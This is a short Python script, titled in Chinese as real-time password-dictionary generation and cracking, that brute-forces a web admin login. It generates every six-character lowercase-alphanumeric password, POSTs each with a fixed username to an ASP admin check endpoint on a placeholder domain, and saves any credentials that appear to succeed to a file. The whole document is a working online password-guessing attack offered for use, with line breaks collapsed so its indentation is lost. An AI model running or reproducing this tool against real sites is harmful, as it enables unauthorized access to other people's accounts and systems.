实时生成密码字典并执行破解。
# -*- coding: utf-8 -*- # !/usr/bin/python import requests import time user="username" import itertools as its words = 'abcdefghijklmnopqrstuvwxyz1234567890' r = its.product(words, repeat=6) # repeat 要生成多少位的字典 for i in r: each="".join(i) print('using>>>'+each) url='http://www.xxx.com.cn/admin2/index.asp?action=check'# data={ "uname":user, "upwd":each} #print(url) result=requests.post(url,data=data, allow_redirects=False) result.encoding='gb2312' print(result.text) if '对象已移动' in result.text: print('failed') else: f = open('success.txt','a+',encoding='utf-8') f.write('User:') f.write(user) f.write(' Passwd:') f.write(each) print('succeed!\n')